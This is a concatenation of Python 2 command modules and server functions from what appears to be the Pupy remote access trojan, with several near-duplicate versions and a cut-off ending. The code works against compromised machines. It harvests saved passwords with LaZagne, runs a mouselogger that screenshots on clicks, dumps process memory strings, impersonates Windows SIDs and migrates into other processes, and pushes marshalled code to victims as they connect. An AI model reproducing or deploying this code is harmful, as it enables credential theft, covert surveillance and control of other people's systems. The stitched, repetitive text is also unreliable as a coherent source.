def run(self, args): width, _ = terminal_size() rpupyps = self.client.conn.modules.pupyps if args.show and not args.tree: data = rpupyps.psinfo(args.show) else: root, tree, data = rpupyps.pstree() tree = {int(k): v for k, v in obtain(tree).iteritems()} data = {int(k): v for k, v in obtain(data).iteritems()} colinfo = gen_colinfo(data) try: info = ['exe', 'cmdline'] hide = [int(x) if x.isdigit() else x for x in args.hide] if not args.all and self.client.is_linux(): hide.append(2) if args.info: info = ['username', 'cpu_percent', 'memory_percent'] + info if args.tree: show = args.show or [root] for item in show: print_pstree(self.stdout, item, tree, data, width=None if args.wide else width, colinfo=colinfo, info=info, hide=hide, first=(item == root)) else: if args.show: print_psinfo( self.stdout, rpupyps, data, colinfo, width=None if args.wide else width, sections=args.info_sections or (['general'] if args.info else args.info_sections)) else: data = { x: y for x, y in data.iteritems() if x in args.show } if args.show else data print_ps(self.stdout, data, width=None if args.wide else width, colinfo=colinfo, info=info, hide=hide) except Exception, e: logging.exception(e)
def run(self, args): try: rpupyps = self.client.conn.modules.pupyps data = obtain(rpupyps.interfaces()) families = { int(x): y for x, y in obtain(rpupyps.families).iteritems() } addrlen = max([len(x) for x in data['addrs']]) + 1 familylen = max([len(v) - 3 for v in families.itervalues()]) + 1 for addr, addresses in data['addrs'].iteritems(): if args.iface and not addr in args.iface: continue color = "" if addr in data['stats'] and not data['stats'][addr].get( 'isup'): color = 'darkgrey' elif not any( [x.get('family') == socket.AF_INET for x in addresses]): color = 'grey' self.stdout.write( colorize(addr.ljust(addrlen), color or 'cyan')) first = True for address in addresses: if first: first = False else: self.stdout.write(' ' * addrlen) self.stdout.write( colorize( families[address.get('family')].ljust(familylen), color)) self.stdout.write( colorize( address.get('address', '').split('%')[0], color or 'yellow')) if address.get('netmask'): self.stdout.write( colorize('/' + address.get('netmask'), color)) if address.get('broadcast'): self.stdout.write( colorize(' brd ' + address.get('broadcast'), color)) self.stdout.write('\n') except Exception, e: logging.exception(e)
def run(self, args): try: rpupyps = self.client.conn.modules.pupyps data = obtain(rpupyps.connections()) sock = { int(x):y for x,y in obtain(rpupyps.socktypes).iteritems() } families = { int(x):y for x,y in obtain(rpupyps.families).iteritems() } limit = [] if args.tcp: limit.append('STREAM') if args.udp: limit.append('DGRAM') objects = [] for connection in data: if connection['status'] == 'LISTEN' and not args.listen: continue if args.listen and not connection['status'] == 'LISTEN': continue color = "" family = families[connection['family']] stype = sock[connection['type']] if limit and not stype in limit: continue if connection.get('me'): color = 'green' elif connection['status'] in ('CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'): color = 'darkgrey' elif ( '127.0.0.1' in connection['laddr'] or '::1' in connection['laddr'] ): color = 'grey' objects.append({ 'AF': colorize(family, color), 'TYPE': colorize(stype, color), 'LADDR': colorize(':'.join([str(x) for x in connection['laddr']]), color), 'RADDR': colorize(':'.join([str(x) for x in connection['raddr']]), color), 'PID': colorize(connection.get('pid', ''), color), 'USER': colorize((connection.get('username') or '').encode('utf8','replace'), color), 'EXE': colorize( connection.get( 'exe', (connection.get('name') or '').encode('utf8','replace') ), color) }) self.stdout.write( PupyCmd.table_format(objects, wl=[ 'AF', 'TYPE', 'LADDR', 'RADDR', 'USER', 'PID', 'EXE' ])) except Exception, e: logging.exception(e)
def run(self, args): width, _ = terminal_size() rpupyps = self.client.conn.modules.pupyps if args.show and not args.tree: data = rpupyps.psinfo(args.show) else: root, tree, data = rpupyps.pstree() tree = { int(k):v for k,v in obtain(tree).iteritems() } data = { int(k):v for k,v in obtain(data).iteritems() } colinfo = gen_colinfo(data) try: info = ['exe', 'cmdline'] hide = [ int(x) if x.isdigit() else x for x in args.hide ] if not args.all and self.client.is_linux(): hide.append(2) if args.info: info = [ 'username', 'cpu_percent', 'memory_percent' ] + info if args.tree: show = args.show or [ root ] for item in show: print_pstree( self.stdout, item, tree, data, width=None if args.wide else width, colinfo=colinfo, info=info, hide=hide, first=(item == root) ) else: if args.show: print_psinfo( self.stdout, rpupyps, data, colinfo, width=None if args.wide else width, sections=args.info_sections or ( [ 'general' ] if args.info else args.info_sections ) ) else: data = { x:y for x,y in data.iteritems() if x in args.show } if args.show else data print_ps( self.stdout, data, width=None if args.wide else width, colinfo=colinfo, info=info, hide=hide ) except Exception, e: logging.exception(e)
def add_client(self, conn): pc = None with open(path.join(path.dirname(__file__), 'PupyClientInitializer.py')) as initializer: conn.execute('import marshal;exec marshal.loads({})'.format( repr( marshal.dumps( compile(initializer.read(), '<loader>', 'exec'))))) l = conn.namespace["get_uuid"]() with self.clients_lock: client_info = { "id": self.current_id, "conn": conn, "address": conn._conn._config['connid'].rsplit(':', 1)[0], "launcher": conn.get_infos("launcher"), "launcher_args": obtain(conn.get_infos("launcher_args")), "transport": obtain(conn.get_infos("transport")), "daemonize": (True if obtain(conn.get_infos("daemonize")) else False), } client_info.update(l) pc = PupyClient.PupyClient(client_info, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) try: client_ip, client_port = conn._conn._config[ 'connid'].rsplit(':', 1) except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo( "[{}] Session {} ({}@{}) opened ({}:{} <- {}:{})".format( datetime.now().strftime('%Y-%m-%d %H:%M:%S'), self.current_id, client_info['user'], client_info['hostname'], server_ip, server_port, client_ip, client_port)) self.current_id += 1 if pc: on_connect(pc)
def run(self, args): if self.client.is_windows(): self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") outputlist=self.client.conn.modules["pupwinutils.processes"].get_current_pid() outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster for out in outputlist: self.log('%s: %s' % (out, outputlist[out])) return # quit elif self.client.is_android(): all_process = shell_exec(self.client, "ps") elif self.client.is_darwin(): all_process = shell_exec(self.client, "ps aux") else: all_process = shell_exec(self.client, "ps -aux") # used for posix system pid=self.client.conn.modules['os'].getpid() for process in all_process.split('\n'): p = re.split(r' +', process) if len(p)>1: pi = p[1] if pi == str(pid): self.log("%s"%(process)) break
def run(self, args): if args.list: #with redirected_stdo(self.client.conn): l = obtain( self.client.conn.modules["pupwinutils.security"].ListSids()) #self.log('\n'.join(["%s : %s"%x for x in l])) self.rawlog( self.formatter.table_format( [{ "pid": x[0], "process": x[1], "sid": x[2], "username": x[3] } for x in l], wl=["pid", "process", "username", "sid"])) elif args.impersonate: if args.migrate: proc_pid = self.client.conn.modules[ "pupwinutils.security"].create_proc_as_sid( args.impersonate) migrate(self, proc_pid) else: self.client.impersonated_dupHandle = self.client.conn.modules[ "pupwinutils.security"].impersonate_sid_long_handle( args.impersonate, close=False) self.success("Sid %s impersonated !" % args.impersonate) elif args.rev2self: self.client.conn.modules["pupwinutils.security"].rev2self() self.client.impersonated_dupHandle = None self.success("rev2self called") else: self.error("no option supplied")
def run(self, args): if self.client.is_windows(): self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") outputlist=self.client.conn.modules["pupwinutils.processes"].enum_processes() outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster columns=['username', 'pid', 'arch', 'exe'] if args.all: columns=['username', 'pid', 'arch', 'name', 'exe', 'cmdline', 'status'] for dic in outputlist: for c in columns: if c in dic and dic[c] is None: dic[c]="" dic["cmdline"]=' '.join(dic['cmdline'][1:]) else: for dic in outputlist: if 'exe' in dic and not dic['exe'] and 'name' in dic and dic['name']: dic['exe']=dic['name'] if 'username' in dic and dic['username'] is None: dic['username']="" self.rawlog(self.formatter.table_format(outputlist, wl=columns)) elif self.client.is_android(): self.log(shell_exec(self.client, "ps")) elif self.client.is_darwin(): self.log(shell_exec(self.client, "ps aux")) else: self.log(shell_exec(self.client, "ps -aux"))
def run(self, args): db = Credentials(client=self.client.short_name(), config=self.config) first_user = True passwordsFound = False results = obtain(self.client.conn.modules["whole"].to_strings_list( self.client.conn.modules["laZagne"].runLaZagne, category_choosed=args.category)) for r in results: if r[0] == 'User': if not passwordsFound and not first_user: self.warning('no passwords found !') first_user = False passwordsFound = False user = r[1] if type(user) == str: user = user.decode('utf-8', errors='replace') self.log( colorize(u'\n########## User: {} ##########'.format(user), 'yellow')) elif r[2]: passwordsFound = True try: self.print_results(r[0], r[1], r[2], db) except Exception, e: self.error('{}: {}'.format(r[1], e))
def run(self, args): results = self.client.conn.modules["pupyutils.basic_cmds"].ls( args.path, args.dir ) results = obtain(results) windows = self.client.is_windows() if not results: return for r in results: if 'files' in r: self.log(r['path']+':') if not args.sort: dirs = [ x for x in r['files'] if x['type'] == 'D' ] files = [ x for x in r['files'] if x['type'] != 'D' ] for f in sorted(dirs, key=lambda x: x['name'], reverse=args.reverse): self.log(output_format(f, windows)) for f in sorted(files, key=lambda x: x['name'], reverse=args.reverse): self.log(output_format(f, windows)) else: for f in sorted(r['files'], key=lambda x: x[args.sort], reverse=args.reverse): self.log(output_format(f, windows)) else: self.log(output_format(r['file'], windows))
def run(self, args): try: os.makedirs(os.path.join("data","mouselogger")) except Exception: pass if args.action=="start": if self.mouselogger: self.error("the mouselogger is already started") else: self.mouselogger=self.client.conn.modules["pupwinutils.mouselogger"].get_mouselogger() if not self.mouselogger.is_alive(): with redirected_stdo(self): self.mouselogger.start() self.success("mouselogger started") else: self.success("previously started mouselogger session retrieved") else: if not self.mouselogger: self.error("the mouselogger is not running") return if args.action=="dump": self.success("dumping recorded mouse clicks :") screenshots_list=obtain(self.mouselogger.retrieve_screenshots()) self.success("%s screenshots taken"%len(screenshots_list)) for d, height, width, exe, win_title, buf in screenshots_list: try: filepath=os.path.join("data","mouselogger","scr_"+self.client.short_name()+"_"+win_title.decode("utf8",errors="ignore").replace(" ","_").replace("\\","").replace("/","")+"_"+d.replace(" ","_").replace(":","-")+".jpg") pil_save(filepath, base64.b64decode(buf), width, height) self.info("screenshot saved to %s"%filepath) except Exception as e: self.error("Error saving a screenshot: %s"%str(e)) elif args.action=="stop": self.mouselogger.stop() self.job.stop()
def run(self, args): try: os.makedirs(os.path.join("data","mouselogger")) except Exception: pass if args.action=="start": if self.mouselogger: self.error("the mouselogger is already started") else: self.client.load_package("pupwinutils.mouselogger") self.mouselogger=self.client.conn.modules["pupwinutils.mouselogger"].MouseLogger() self.mouselogger.start() else: if not self.mouselogger: self.error("the mouselogger is not running") return if args.action=="dump": self.success("dumping recorded mouse clicks :") screenshots_list=obtain(self.mouselogger.retrieve_screenshots()) self.success("%s screenshots taken"%len(screenshots_list)) print str(screenshots_list)[0:50] for d, height, width, exe, win_title, buf in screenshots_list: try: filepath=os.path.join("data","mouselogger","scr_"+self.client.short_name()+"_"+str(unicode(win_title, errors="ignore")).replace(" ","_").replace("\\","").replace("/","")+"_"+str(d).replace(" ","_").replace(":","-")+".jpg") pil_save(filepath, buf, width, height) self.info("screenshot saved to %s"%filepath) except Exception as e: self.error("Error saving a screenshot: %s"%str(e)) elif args.action=="stop": self.mouselogger.stop() self.job.stop()
def run(self, args): results = self.client.conn.modules["pupyutils.basic_cmds"].ls( args.path, args.dir) results = obtain(results) windows = self.client.is_windows() if not results: return for r in results: if 'files' in r: self.log(r['path'] + ':') if not args.sort: dirs = [x for x in r['files'] if x['type'] == 'D'] files = [x for x in r['files'] if x['type'] != 'D'] for f in sorted(dirs, key=lambda x: x['name'], reverse=args.reverse): self.log(output_format(f, windows)) for f in sorted(files, key=lambda x: x['name'], reverse=args.reverse): self.log(output_format(f, windows)) else: for f in sorted(r['files'], key=lambda x: x[args.sort], reverse=args.reverse): self.log(output_format(f, windows)) else: self.log(output_format(r['file'], windows))
def run(self, args): if self.client.is_windows(): self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") outputlist = self.client.conn.modules[ "pupwinutils.processes"].enum_processes() outputlist = obtain( outputlist ) #pickle the list of proxy objects with obtain is really faster columns = ['username', 'pid', 'arch', 'exe'] if args.all: columns = [ 'username', 'pid', 'arch', 'name', 'exe', 'cmdline', 'status' ] for dic in outputlist: dic["cmdline"] = ' '.join(dic['cmdline'][1:]) else: for dic in outputlist: if 'exe' in dic and not dic[ 'exe'] and 'name' in dic and dic['name']: dic['exe'] = dic['name'] if 'username' in dic and dic['username'] is None: dic['username'] = "" self.rawlog(self.formatter.table_format(outputlist, wl=columns)) elif self.client.is_android(): self.log(shell_exec(self.client, "ps")) elif self.client.is_darwin(): self.log(shell_exec(self.client, "ps aux")) else: self.log(shell_exec(self.client, "ps -aux"))
def run(self, args): if self.client.is_windows(): self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") outputlist = self.client.conn.modules[ "pupwinutils.processes"].get_current_ppid() outputlist = obtain( outputlist ) #pickle the list of proxy objects with obtain is really faster for out in outputlist: self.log('%s: %s' % (out, outputlist[out])) return # quit elif self.client.is_android(): all_process = shell_exec(self.client, "ps") elif self.client.is_darwin(): all_process = shell_exec(self.client, "ps aux") else: all_process = shell_exec(self.client, "ps -aux") # used for posix system ppid = self.client.conn.modules['os'].getppid() for process in all_process.split('\n'): p = re.split(r' +', process) if len(p) > 1: pid = p[1] if pid == str(ppid): self.log("%s" % (process)) break
def run(self, args): try: data = obtain(self.client.conn.modules.pupyps.users()) tablein = [] for user, hosts in reversed(sorted(data.iteritems())): for host, sessions in hosts.iteritems(): for session in sessions: color = "" if 'idle' in session: idle = session['idle'] color = "cyan" if idle < 10 * 60 else ( "grey" if idle > 60 * 60 * 24 else "") object = { 'HOST': colorize(host, color), 'USER': colorize( user, "yellow" if user in ADMINS else ("green" if session.get('me') else "")), 'LOGIN': colorize( str( datetime.fromtimestamp( int(session['started']))), color), } if session.get('terminal'): if session.get('name'): what = '{} {}'.format( session['exe'] if session.get('exe') else ('{' + session.get('name') + '}'), ' '.join(session['cmdline'][1:] if session. get('cmdline') else '')) else: what = '' object.update({ 'IDLE': colorize( str(timedelta(seconds=session['idle'])), color) if session.get('idle') else '', 'PID': colorize(str(session.get('pid', '')), color), 'WHAT': colorize( what[:30] + '…' if len(what) > 30 else what, color) }) tablein.append(object) self.stdout.write(PupyCmd.table_format(tablein)) except Exception, e: logging.exception(e)
def run(self, args): try: rpupyps = self.client.conn.modules.pupyps data = obtain(rpupyps.interfaces()) families = { int(x):y for x,y in obtain(rpupyps.families).iteritems() } addrlen = max([len(x) for x in data['addrs']])+1 familylen = max([len(v)-3 for v in families.itervalues()])+1 for addr, addresses in data['addrs'].iteritems(): if args.iface and not addr in args.iface: continue color = "" if addr in data['stats'] and not data['stats'][addr].get('isup'): color = 'darkgrey' elif not any([ x.get('family') == socket.AF_INET for x in addresses ]): color = 'grey' self.stdout.write(colorize(addr.ljust(addrlen), color or 'cyan')) first = True for address in addresses: if first: first = False else: self.stdout.write(' '*addrlen) self.stdout.write(colorize(families[ address.get('family') ].ljust(familylen), color)) self.stdout.write( colorize(address.get('address', '').split('%')[0], color or 'yellow') ) if address.get('netmask'): self.stdout.write(colorize('/'+address.get('netmask'), color)) if address.get('broadcast'): self.stdout.write(colorize(' brd '+address.get('broadcast'), color)) self.stdout.write('\n') except Exception, e: logging.exception(e)
def listenv(self, args, environ): envvars = obtain(environ.data) self.log( TruncateToTerm( Table([{ 'VAR': k, 'VAL': repr(v) } for k, v in envvars.iteritems()], ['VAR', 'VAL'], legend=False)))
def add_client(self, conn): pc = None with open( path.join(self.config.root, 'pupylib', 'PupyClientInitializer.py')) as initializer: conn.execute('import marshal;exec marshal.loads({})'.format( repr( marshal.dumps( compile(initializer.read(), '<loader>', 'exec'))))) with self.clients_lock: client_id = self.create_id() try: client_info = conn.get_infos() client_info = obtain(client_info) except: client_info = { "launcher": str(conn.get_infos("launcher")), "launcher_args": [x for x in conn.get_infos("launcher_args")], "transport": str(conn.get_infos("transport")), "daemonize": bool(conn.get_infos("daemonize")), "native": bool(conn.get_infos("native")), "sid": conn.get_infos("sid") or '', } client_info.update({ "id": client_id, "conn": conn, "address": conn._conn._config['connid'].rsplit(':', 1)[0], }) client_info.update(conn.namespace["get_uuid"]()) pc = PupyClient.PupyClient(client_info, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() try: client_ip, client_port = conn._conn._config[ 'connid'].rsplit(':', 1) except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo( "Session {} opened ({}@{}) ({}{}:{})".format( client_id, client_info.get('user', '?'), client_info.get('hostname', '?'), '{} <- '.format(addr) if not '0.0.0.0' in addr else '', client_ip, client_port)) if pc: on_connect(pc)
def run(self, args): targets = args.pid + args.name self.termevent = self.client.conn.modules.threading.Event() last_pid = None last_log = None config = self.client.pupsrv.config or PupyConfig() for pid, name, strings in self.client.conn.modules.memstrings.iterate_strings( targets, min_length=args.min_length, max_length=args.max_length, omit=args.omit, portions=args.portions, terminate=self.termevent, nodup=args.no_duplication, ): strings = obtain(strings) pid = str(pid) or '0' name = str(name) or '' if not strings: self.error('No dumps received') return if args.stdout: self.success('Strings {}:{}'.format(name, pid)) for s in strings: self.stdout.write(s+'\n') self.stdout.write('\n') else: if last_pid != pid: last_pid = pid if last_log: last_log.close() try: folder = config.get_folder('memstrings', {'%c': self.client.short_name()}) path = name.replace('!','!!').replace('/', '!').replace('\\', '!') path = os.path.join(folder, '{}.{}.strings'.format(path, pid)) last_log = open(path, 'w+') self.success('{} {} -> {}'.format(name, pid, path)) except Exception, e: self.error('{} {}: {}'.format(name, pid, e)) for s in strings: last_log.write(s+'\n') last_log.flush()
def add_client(self, conn): pc=None with open(path.join(self.config.root, 'pupylib', 'PupyClientInitializer.py')) as initializer: conn.execute( 'import marshal;exec marshal.loads({})'.format( repr(marshal.dumps(compile(initializer.read(), '<loader>', 'exec'))) ) ) with self.clients_lock: client_id = self.create_id() try: client_info = conn.get_infos() client_info = obtain(client_info) except: client_info = { "launcher" : str(conn.get_infos("launcher")), "launcher_args" : [ x for x in conn.get_infos("launcher_args") ], "transport" : str(conn.get_infos("transport")), "daemonize" : bool(conn.get_infos("daemonize")), "native": bool(conn.get_infos("native")), "sid": conn.get_infos("sid") or '', } client_info.update({ "id": client_id, "conn" : conn, "address" : conn._conn._config['connid'].rsplit(':',1)[0], }) client_info.update(conn.namespace["get_uuid"]()) pc=PupyClient.PupyClient(client_info, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() try: client_ip, client_port = conn._conn._config['connid'].rsplit(':', 1) except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo("Session {} opened ({}@{}) ({}{}:{})".format( client_id, client_info.get('user','?'), client_info.get('hostname','?'), '{} <- '.format(addr) if not '0.0.0.0' in addr else '', client_ip, client_port) ) if pc: on_connect(pc)
def add_client(self, conn): pc=None with open(path.join(path.dirname(__file__), 'PupyClientInitializer.py')) as initializer: conn.execute( 'import marshal;exec marshal.loads({})'.format( repr(marshal.dumps(compile(initializer.read(), '<loader>', 'exec'))) ) ) l=conn.namespace["get_uuid"]() with self.clients_lock: client_info = { "id": self.current_id, "conn" : conn, "address" : conn._conn._config['connid'].rsplit(':',1)[0], "launcher" : conn.get_infos("launcher"), "launcher_args" : obtain(conn.get_infos("launcher_args")), "transport" : obtain(conn.get_infos("transport")), "daemonize" : (True if obtain(conn.get_infos("daemonize")) else False), } client_info.update(l) pc=PupyClient.PupyClient(client_info, self) self.clients.append(pc) if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) try: client_ip, client_port = conn._conn._config['connid'].rsplit(':', 1) except: client_ip, client_port = "0.0.0.0", 0 # TODO for bind payloads self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format( self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 if pc: on_connect(pc)
def shares(self, args): host = args.host host = host.replace('\\', '//') if host.startswith('//'): host = host[2:] ft = self.get_ft(args, host) if not ft.ok: self.error(ft.error) return for share in obtain(ft.shares()): self.log(share) if not ft.ok: self.error(ft.error)
def run(self, args): try: os.makedirs(os.path.join("data", "mouselogger")) except Exception: pass if args.action == "start": self.client.load_package("pupwinutils.mouselogger") if self.mouselogger: self.error("the mouselogger is already started") else: self.mouselogger = self.client.conn.modules[ "pupwinutils.mouselogger"].get_mouselogger() if not self.mouselogger.is_alive(): with redirected_stdo(self.client.conn): self.mouselogger.start() self.success("mouselogger started") else: self.success( "previously started mouselogger session retrieved") else: if not self.mouselogger: self.error("the mouselogger is not running") return if args.action == "dump": self.success("dumping recorded mouse clicks :") screenshots_list = obtain( self.mouselogger.retrieve_screenshots()) self.success("%s screenshots taken" % len(screenshots_list)) for d, height, width, exe, win_title, buf in screenshots_list: try: filepath = os.path.join( "data", "mouselogger", "scr_" + self.client.short_name() + "_" + win_title.decode("utf8", errors="ignore").replace( " ", "_").replace("\\", "").replace("/", "") + "_" + d.replace(" ", "_").replace(":", "-") + ".jpg") pil_save(filepath, base64.b64decode(buf), width, height) self.info("screenshot saved to %s" % filepath) except Exception as e: self.error("Error saving a screenshot: %s" % str(e)) elif args.action == "stop": self.mouselogger.stop() self.job.stop()
def _run(self, args): db = Credentials(client=self.client, config=self.config) whole = self.client.remote('whole', 'to_strings_list', False) runLaZagne = self.client.remote('lazagne.config.run', 'run_lazagne', False) first_user = True passwordsFound = False kwargs = { 'raise_on_exception': False, } if args.category: kwargs['category_selected'] = args.category if args.password and self.client.is_windows(): kwargs['password'] = args.password results = obtain(whole(runLaZagne, **kwargs)) for r in results: if r[0] == 'User': if not passwordsFound and not first_user: self.warning('no passwords found !') first_user = False passwordsFound = False user = r[1] if type(user) == str: user = user.decode('utf-8', errors='replace') self.log( Color(u'\n########## User: {} ##########'.format(user), 'yellow')) elif r[2]: passwordsFound = True try: self.print_results(r[0], r[1], r[2], db) except Exception as e: self.error('{}: {}: {}'.format(r[1], e, traceback.format_exc())) if not passwordsFound: self.warning('no passwords found !')
def run(self, args): #self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0) self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") outputlist=self.client.conn.modules["pupwinutils.processes"].enum_processes() outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster columns=['username', 'pid', 'arch', 'exe'] if args.all: columns=['username', 'pid', 'arch', 'name', 'exe', 'cmdline', 'status'] for dic in outputlist: dic["cmdline"]=' '.join(dic['cmdline'][1:]) else: for dic in outputlist: if 'exe' in dic and not dic['exe'] and 'name' in dic and dic['name']: dic['exe']=dic['name'] if 'username' in dic and dic['username'] is None: dic['username']="" self.rawlog(self.formatter.table_format(outputlist, wl=columns))
def run(self, args): cloud, metadata = self.client.conn.modules.cloudinfo.metadata() if not cloud: self.error('Unknown cloud or non-cloud environment') return self.success('Cloud: {}'.format(cloud)) metadata = obtain(metadata) formatted_json = json.dumps(metadata, indent=1, sort_keys=True) self.stdout.write( highlight( unicode(formatted_json, 'UTF-8'), lexers.JsonLexer(), formatters.TerminalFormatter() ) )
def run(self, args): if args.list: #with redirected_stdo(self.client.conn): l=obtain(self.client.conn.modules["pupwinutils.security"].ListSids()) #self.log('\n'.join(["%s : %s"%x for x in l])) self.rawlog(self.formatter.table_format([{"pid": x[0], "process":x[1], "sid" : x[2], "username":x[3]} for x in l], wl=["pid", "process", "username", "sid"])) elif args.impersonate: if args.migrate: proc_pid=self.client.conn.modules["pupwinutils.security"].create_proc_as_sid(args.impersonate) migrate(self, proc_pid, keep=True) else: self.client.impersonated_dupHandle=self.client.conn.modules["pupwinutils.security"].impersonate_sid_long_handle(args.impersonate, close=False) self.success("Sid %s impersonated !"%args.impersonate) elif args.rev2self: self.client.conn.modules["pupwinutils.security"].rev2self() self.client.impersonated_dupHandle=None self.success("rev2self called") else: self.error("no option supplied")
def run(self, args): if args.l: result, data = self.client.conn.modules["pupyutils.zip"].list(args.source) if result: data = obtain(data) log = args.source + ':\n' + '\n'.join( '{:>8} {}'.format(self.nice_size(file_size), filename) for filename, file_size in data ) else: log = data elif not args.u: result, log = self.client.conn.modules["pupyutils.zip"].zip(args.source, args.destination) else: result, log = self.client.conn.modules["pupyutils.zip"].unzip(args.source, args.destination) if result: self.success(log) else: self.error(log)
def run(self, args): pupy = self.client.remote('pupy') active = obtain(pupy.manager.status) data = [] for task, state in active.iteritems(): color = 'grey' if state['active']: color = 'lightgreen' elif state['results']: color = 'cyan' data.append({ 'TASK': Color(task, color), 'ACTIVE': Color('Y' if state['active'] else 'N', color), 'RESULTS': Color('Y' if state['results'] else 'N', color), }) self.log(Table(data, ['TASK', 'ACTIVE', 'RESULTS']))
def run(self, args): users = self.client.conn.modules['pupyutils.users'].users() users = obtain(users) for user in users['users']: if user['admin']: color = 'lightred' elif 'Administrators' in user['groups'] or 'sudo' in user['groups']: color = 'lightyellow' else: color = 'white' output = colorize(unicode(user['name']), color) if args.groups: output += u': ' + u','.join(user['groups']) if users['current'] == user['name']: output = u'➤ ' + output else: output = u' ' + output self.log(colorize(output, color))
def run(self, args): if self.client.is_windows(): self.stdout.write( self.client.conn.modules['pupwinutils.drives'].list_drives() ) elif self.client.is_linux(): tier1 = ( 'network', 'fuse', 'dm', 'block' ) rmount = self.client.conn.modules['mount'] ros = self.client.conn.modules['os'] mountinfo = obtain(rmount.mounts()) uid = ros.getuid() gid = ros.getgid() option_colors = { 'rw': 'yellow', 'nosuid': 'green', 'nodev': 'green', 'noexec': 'green', 'uid': { '0': 'green', str(uid): 'red' }, 'gid': { '0': 'green', str(gid): 'red' }, 'ro': 'green', 'user_id': { '0':'green', str(uid): 'red' }, 'group_id': { '0':'green', str(gid): 'red' }, 'allow_other': 'yellow', 'xattr': 'yellow', 'acl': 'yellow', 'username': '******', 'domain': 'red', 'forceuid': 'yellow', 'forcegid': 'yellow', 'addr': 'red', 'unix': 'red' } def colorize_option(option): if len(option) > 1: k, v = option else: k = option[0] v = None color = option_colors.get(k) if color: if type(color) == dict: if v in color: return colorize( '='.join([x for x in [k, v] if x]), color.get(v) ) else: return '='.join([x for x in [k, v] if x]) else: return colorize( '='.join([x for x in [k, v] if x]), color ) else: return '='.join([x for x in [k, v] if x]) output = [] for fstype in mountinfo.iterkeys(): if fstype in tier1: continue output.append('{}:'.format(colorize(fstype, 'yellow'))) dst_max = max([len(x['dst']) for x in mountinfo[fstype]]) fsname_max = max([len(x['fsname']) for x in mountinfo[fstype]]) free_max = max([len(x['hfree']) if x['total'] else 0 for x in mountinfo[fstype]]) for info in mountinfo[fstype]: fmt = '{{:<{}}} {{:<{}}} {{:>{}}} {{}}'.format( dst_max, fsname_max, ( free_max + 3 + 4 ) if free_max else 0 ) output.append( fmt.format( info['dst'], info['fsname'], ( colorize( ('{{:>3}}% ({{:>{}}})'.format(free_max)).format( info['pused'], info['hfree'] ), 'white' if info['pused'] < 90 else 'yellow' ) ) if info['total'] else '', ','.join([colorize_option(option) for option in info['options']]) ) ) output.append('') for fstype in tier1: if not fstype in mountinfo: continue src_max = max([len(x['src']) for x in mountinfo[fstype]]) dst_max = max([len(x['dst']) for x in mountinfo[fstype]]) fsname_max = max([len(x['fsname']) for x in mountinfo[fstype]]) free_max = max([len(x['hfree']) if x['total'] else 0 for x in mountinfo[fstype]]) output.append('{}:'.format(colorize(fstype, 'green'))) for info in mountinfo[fstype]: fmt = '{{:<{}}} {{:<{}}} {{:<{}}} {{:>{}}} {{}}'.format( dst_max, src_max, fsname_max, ( free_max + 3 + 4 ) if free_max else 0 ) output.append( fmt.format( info['dst'], info['src'], info['fsname'], ( colorize( ('{{:>3}}% ({{:>{}}})'.format(free_max)).format( info['pused'], info['hfree'] ), 'white' if info['pused'] < 90 else 'yellow' ) ) if info['total'] else '', ','.join([colorize_option(option) for option in info['options']]) ) ) output.append('') self.stdout.write('\n'.join(output)) elif self.client.is_darwin(): self.log(shell_exec(self.client, 'df -H'))
def add_client(self, conn): pc=None conn.execute(textwrap.dedent( """ import platform import getpass import uuid import sys import os import locale os_encoding = locale.getpreferredencoding() or "utf8" if sys.platform == 'win32': from _winreg import * import ctypes def get_integrity_level_win(): '''from http://www.programcreek.com/python/example/3211/ctypes.c_long''' if sys.platform != 'win32': return "N/A" mapping = { 0x0000: u'Untrusted', 0x1000: u'Low', 0x2000: u'Medium', 0x2100: u'Medium high', 0x3000: u'High', 0x4000: u'System', 0x5000: u'Protected process', } BOOL = ctypes.c_long DWORD = ctypes.c_ulong HANDLE = ctypes.c_void_p class SID_AND_ATTRIBUTES(ctypes.Structure): _fields_ = [ ('Sid', ctypes.c_void_p), ('Attributes', DWORD), ] class TOKEN_MANDATORY_LABEL(ctypes.Structure): _fields_ = [ ('Label', SID_AND_ATTRIBUTES), ] TOKEN_READ = DWORD(0x20008) TokenIntegrityLevel = ctypes.c_int(25) ERROR_INSUFFICIENT_BUFFER = 122 ctypes.windll.kernel32.GetLastError.argtypes = () ctypes.windll.kernel32.GetLastError.restype = DWORD ctypes.windll.kernel32.GetCurrentProcess.argtypes = () ctypes.windll.kernel32.GetCurrentProcess.restype = ctypes.c_void_p ctypes.windll.advapi32.OpenProcessToken.argtypes = ( HANDLE, DWORD, ctypes.POINTER(HANDLE)) ctypes.windll.advapi32.OpenProcessToken.restype = BOOL ctypes.windll.advapi32.GetTokenInformation.argtypes = ( HANDLE, ctypes.c_long, ctypes.c_void_p, DWORD, ctypes.POINTER(DWORD)) ctypes.windll.advapi32.GetTokenInformation.restype = BOOL ctypes.windll.advapi32.GetSidSubAuthorityCount.argtypes = [ctypes.c_void_p] ctypes.windll.advapi32.GetSidSubAuthorityCount.restype = ctypes.POINTER( ctypes.c_ubyte) ctypes.windll.advapi32.GetSidSubAuthority.argtypes = (ctypes.c_void_p, DWORD) ctypes.windll.advapi32.GetSidSubAuthority.restype = ctypes.POINTER(DWORD) token = ctypes.c_void_p() proc_handle = ctypes.windll.kernel32.GetCurrentProcess() if not 